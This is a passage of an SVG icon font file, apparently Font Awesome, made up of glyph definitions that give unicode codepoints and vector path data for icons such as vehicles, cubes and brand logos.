d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54
q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83
q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_393" unicode="&#xf1a3;" 
d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150
v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103
t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f1a4" unicode="&#xf1a4;" horiz-adv-x="1920" 
d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328
v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
    <glyph glyph-name="_395" unicode="&#xf1a5;" 
d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="_396" unicode="&#xf1a6;" horiz-adv-x="2048" 
d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123
v-369h123z" />
    <glyph glyph-name="_397" unicode="&#xf1a7;" 
d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101
v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_398" unicode="&#xf1a8;" horiz-adv-x="2038" 
d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14
q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24
q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33
q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5
t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43
q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5
t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13
t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
    <glyph glyph-name="_399" unicode="&#xf1a9;" 
d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10
q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14
q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14
t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44
q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
    <glyph glyph-name="_400" unicode="&#xf1aa;" 
d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z
M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5
t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5
q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126
t135.5 51q85 0 145 -60.5t60 -145.5z" />
    <glyph glyph-name="f1ab" unicode="&#xf1ab;" 
d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5
q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28
q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z
M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11
q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q107 36 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5
q20 0 20 -21v-418z" />
    <glyph glyph-name="_402" unicode="&#xf1ac;" horiz-adv-x="1792" 
d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48
l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23
t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128
q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128
q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
    <glyph glyph-name="_403" unicode="&#xf1ad;" 
d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9
t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9
t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9
t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
    <glyph glyph-name="_404" unicode="&#xf1ae;" horiz-adv-x="1280" 
d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68q29 28 68.5 28t67.5 -28l228 -228h368l228 228q28 28 68 28t68 -28q28 -29 28 -68.5t-28 -67.5zM864 1152
q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="uniF1B1" unicode="&#xf1b0;" horiz-adv-x="1664" 
d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5
q76 0 141.5 -55.5t100.5 -134t35 -152.5zM832 608q118 0 255 -97.5t229 -237t92 -254.5q0 -46 -17 -76.5t-48.5 -45t-64.5 -20t-76 -5.5q-68 0 -187.5 45t-182.5 45q-66 0 -192.5 -44.5t-200.5 -44.5q-183 0 -183 146q0 86 56 191.5t139.5 192.5t187.5 146t193 59zM1071 819
q-61 0 -105 39t-63 92.5t-19 113.5q0 74 30 151.5t91.5 135t138.5 57.5q61 0 105 -39t63 -92.5t19 -113.5q0 -73 -30 -151t-92 -135.5t-138 -57.5zM1503 923q77 0 119 -59.5t42 -139.5q0 -74 -35 -152t-100.5 -133.5t-141.5 -55.5q-77 0 -119 59t-42 139q0 74 35 152.5
t100.5 134t141.5 55.5z" />
    <glyph glyph-name="_406" unicode="&#xf1b1;" horiz-adv-x="768" 
d="M704 1008q0 -145 -57 -243.5t-152 -135.5l45 -821q2 -26 -16 -45t-44 -19h-192q-26 0 -44 19t-16 45l45 821q-95 37 -152 135.5t-57 243.5q0 128 42.5 249.5t117.5 200t160 78.5t160 -78.5t117.5 -200t42.5 -249.5z" />
    <glyph glyph-name="_407" unicode="&#xf1b2;" horiz-adv-x="1792" 
d="M896 -93l640 349v636l-640 -233v-752zM832 772l698 254l-698 254l-698 -254zM1664 1024v-768q0 -35 -18 -65t-49 -47l-704 -384q-28 -16 -61 -16t-61 16l-704 384q-31 17 -49 47t-18 65v768q0 40 23 73t61 47l704 256q22 8 44 8t44 -8l704 -256q38 -14 61 -47t23 -73z
" />
    <glyph glyph-name="_408" unicode="&#xf1b3;" horiz-adv-x="2304" 
d="M640 -96l384 192v314l-384 -164v-342zM576 358l404 173l-404 173l-404 -173zM1664 -96l384 192v314l-384 -164v-342zM1600 358l404 173l-404 173l-404 -173zM1152 651l384 165v266l-384 -164v-267zM1088 1030l441 189l-441 189l-441 -189zM2176 512v-416q0 -36 -19 -67
t-52 -47l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-4 2 -7 4q-2 -2 -7 -4l-448 -224q-25 -14 -57 -14t-57 14l-448 224q-33 16 -52 47t-19 67v416q0 38 21.5 70t56.5 48l434 186v400q0 38 21.5 70t56.5 48l448 192q23 10 50 10t50 -10l448 -192q35 -16 56.5 -48t21.5 -70
v-400l434 -186q36 -16 57 -48t21 -70z" />
    <glyph glyph-name="_409" unicode="&#xf1b4;" horiz-adv-x="2048" 
d="M1848 1197h-511v-124h511v124zM1596 771q-90 0 -146 -52.5t-62 -142.5h408q-18 195 -200 195zM1612 186q63 0 122 32t76 87h221q-100 -307 -427 -307q-214 0 -340.5 132t-126.5 347q0 208 130.5 345.5t336.5 137.5q138 0 240.5 -68t153 -179t50.5 -248q0 -17 -2 -47h-658
q0 -111 57.5 -171.5t166.5 -60.5zM277 236h296q205 0 205 167q0 180 -199 180h-302v-347zM277 773h281q78 0 123.5 36.5t45.5 113.5q0 144 -190 144h-260v-294zM0 1282h594q87 0 155 -14t126.5 -47.5t90 -96.5t31.5 -154q0 -181 -172 -263q114 -32 172 -115t58 -204
q0 -75 -24.5 -136.5t-66 -103.5t-98.5 -71t-121 -42t-134 -13h-611v1260z" />
    <glyph glyph-name="_410" unicode="&#xf1b5;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM499 1041h-371v-787h382q117 0 197 57.5t80 170.5q0 158 -143 200q107 52 107 164q0 57 -19.5 96.5
t-56.5 60.5t-79 29.5t-97 8.5zM477 723h-176v184h163q119 0 119 -90q0 -94 -106 -94zM486 388h-185v217h189q124 0 124 -113q0 -104 -128 -104zM1136 356q-68 0 -104 38t-36 107h411q1 10 1 30q0 132 -74.5 220.5t-203.5 88.5q-128 0 -210 -86t-82 -216q0 -135 79 -217
t213 -82q205 0 267 191h-138q-11 -34 -47.5 -54t-75.5 -20zM1126 722q113 0 124 -122h-254q4 56 39 89t91 33zM964 988h319v-77h-319v77z" />
    <glyph glyph-name="_411" unicode="&#xf1b6;" horiz-adv-x="1792" 
d="M1582 954q0 -101 -71.5 -172.5t-172.5 -71.5t-172.5 71.5t-71.5 172.5t71.5 172.5t172.5 71.5t172.5 -71.5t71.5 -172.5zM812 212q0 104 -73 177t-177 73q-27 0 -54 -6l104 -42q77 -31 109.5 -106.5t1.5 -151.5q-31 -77 -107 -109t-152 -1q-21 8 -62 24.5t-61 24.5
q32 -60 91 -96.5t130 -36.5q104 0 177 73t73 177zM1642 953q0 126 -89.5 215.5t-215.5 89.5q-127 0 -216.5 -89.5t-89.5 -215.5q0 -127 89.5 -216t216.5 -89q126 0 215.5 89t89.5 216zM1792 953q0 -189 -133.5 -322t-321.5 -133l-437 -319q-12 -129 -109 -218t-229 -89
q-121 0 -214 76t-118 192l-230 92v429l389 -157q79 48 173 48q13 0 35 -2l284 407q2 187 135.5 319t320.5 132q188 0 321.5 -133.5t133.5 -321.5z" />
    <glyph glyph-name="_412" unicode="&#xf1b7;" 
d="M1242 889q0 80 -57 136.5t-137 56.5t-136.5 -57t-56.5 -136q0 -80 56.5 -136.5t136.5 -56.5t137 56.5t57 136.5zM632 301q0 -83 -58 -140.5t-140 -57.5q-56 0 -103 29t-72 77q52 -20 98 -40q60 -24 120 1.5t85 86.5q24 60 -1.5 120t-86.5 84l-82 33q22 5 42 5
q82 0 140 -57.5t58 -140.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v153l172 -69q20 -92 93.5 -152t168.5 -60q104 0 181 70t87 173l345 252q150 0 255.5 105.5t105.5 254.5q0 150 -105.5 255.5t-255.5 105.5
q-148 0 -253 -104.5t-107 -252.5l-225 -322q-9 1 -28 1q-75 0 -137 -37l-297 119v468q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5zM1289 887q0 -100 -71 -170.5t-171 -70.5t-170.5 70.5t-70.5 170.5t70.5 171t170.5 71q101 0 171.5 -70.5t70.5 -171.5z
" />
    <glyph glyph-name="_413" unicode="&#xf1b8;" horiz-adv-x="1792" 
d="M836 367l-15 -368l-2 -22l-420 29q-36 3 -67 31.5t-47 65.5q-11 27 -14.5 55t4 65t12 55t21.5 64t19 53q78 -12 509 -28zM449 953l180 -379l-147 92q-63 -72 -111.5 -144.5t-72.5 -125t-39.5 -94.5t-18.5 -63l-4 -21l-190 357q-17 26 -18 56t6 47l8 18q35 63 114 188
l-140 86zM1680 436l-188 -359q-12 -29 -36.5 -46.5t-43.5 -20.5l-18 -4q-71 -7 -219 -12l8 -164l-230 367l211 362l7 -173q170 -16 283 -5t170 33zM895 1360q-47 -63 -265 -435l-317 187l-19 12l225 356q20 31 60 45t80 10q24 -2 48.5 -12t42 -21t41.5 -33t36 -34.5
t36 -39.5t32 -35zM1550 1053l212 -363q18 -37 12.5 -76t-27.5 -74q-13 -20 -33 -37t-38 -28t-48.5 -22t-47 -16t-51.5 -14t-46 -12q-34 72 -265 436l313 195zM1407 1279l142 83l-220 -373l-419 20l151 86q-34 89 -75 166t-75.5 123.5t-64.5 80t-47 46.5l-17 13l405 -1
q31 3 58 -10.5t39 -28.5l11 -15q39 -61 112 -190z" />
    <glyph glyph-name="_414" unicode="&#xf1b9;" horiz-adv-x="2048" 
d="M480 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM516 768h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5zM1888 448q0 66 -47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47t113 47t47 113zM2048 544v-384
q0 -14 -9 -23t-23 -9h-96v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-1024v-128q0 -80 -56 -136t-136 -56t-136 56t-56 136v128h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5t179 63.5h768q98 0 179 -63.5t104 -157.5
l105 -419h28q93 0 158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_415" unicode="&#xf1ba;" horiz-adv-x="2048" 
d="M1824 640q93 0 158.5 -65.5t65.5 -158.5v-384q0 -14 -9 -23t-23 -9h-96v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-1024v-64q0 -80 -56 -136t-136 -56t-136 56t-56 136v64h-96q-14 0 -23 9t-9 23v384q0 93 65.5 158.5t158.5 65.5h28l105 419q23 94 104 157.5
t179 63.5h128v224q0 14 9 23t23 9h448q14 0 23 -9t9 -23v-224h128q98 0 179 -63.5t104 -157.5l105 -419h28zM320 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM516 640h1016l-89 357q-2 8 -14 17.5t-21 9.5h-768q-9 0 -21 -9.5t-14 -17.5z
M1728 160q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47z" />
    <glyph glyph-name="_416" unicode="&#xf1bb;" 
d="M1504 64q0 -26 -19 -45t-45 -19h-462q1 -17 6 -87.5t5 -108.5q0 -25 -18 -42.5t-43 -17.5h-320q-25 0 -43 17.5t-18 42.5q0 38 5 108.5t6 87.5h-462q-26 0 -45 19t-19 45t19 45l402 403h-229q-26 0 -45 19t-19 45t19 45l402 403h-197q-26 0 -45 19t-19 45t19 45l384 384
q19 19 45 19t45 -19l384 -384q19 -19 19 -45t-19 -45t-45 -19h-197l402 -403q19 -19 19 -45t-19 -45t-45 -19h-229l402 -403q19 -19 19 -45z" />
    <glyph glyph-name="_417" unicode="&#xf1bc;" 
d="M1127 326q0 32 -30 51q-193 115 -447 115q-133 0 -287 -34q-42 -9 -42 -52q0 -20 13.5 -34.5t35.5 -14.5q5 0 37 8q132 27 243 27q226 0 397 -103q19 -11 33 -11q19 0 33 13.5t14 34.5zM1223 541q0 40 -35 61q-237 141 -548 141q-153 0 -303 -42q-48 -13 -48 -64
q0 -25 17.5 -42.5t42.5 -17.5q7 0 37 8q122 33 251 33q279 0 488 -124q24 -13 38 -13q25 0 42.5 17.5t17.5 42.5zM1331 789q0 47 -40 70q-126 73 -293 110.5t-343 37.5q-204 0 -364 -47q-23 -7 -38.5 -25.5t-15.5 -48.5q0 -31 20.5 -52t51.5 -21q11 0 40 8q133 37 307 37
q159 0 309.5 -34t253.5 -95q21 -12 40 -12q29 0 50.5 20.5t21.5 51.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_418" unicode="&#xf1bd;" horiz-adv-x="1024" 
d="M1024 1233l-303 -582l24 -31h279v-415h-507l-44 -30l-142 -273l-30 -30h-301v303l303 583l-24 30h-279v415h507l44 30l142 273l30 30h301v-303z" />
    <glyph glyph-name="_419" unicode="&#xf1be;" horiz-adv-x="2304" 
d="M784 164l16 241l-16 523q-1 10 -7.5 17t-16.5 7q-9 0 -16 -7t-7 -17l-14 -523l14 -241q1 -10 7.5 -16.5t15.5 -6.5q22 0 24 23zM1080 193l11 211l-12 586q0 16 -13 24q-8 5 -16 5t-16 -5q-13 -8 -13 -24l-1 -6l-10 -579q0 -1 11 -236v-1q0 -10 6 -17q9 -11 23 -11
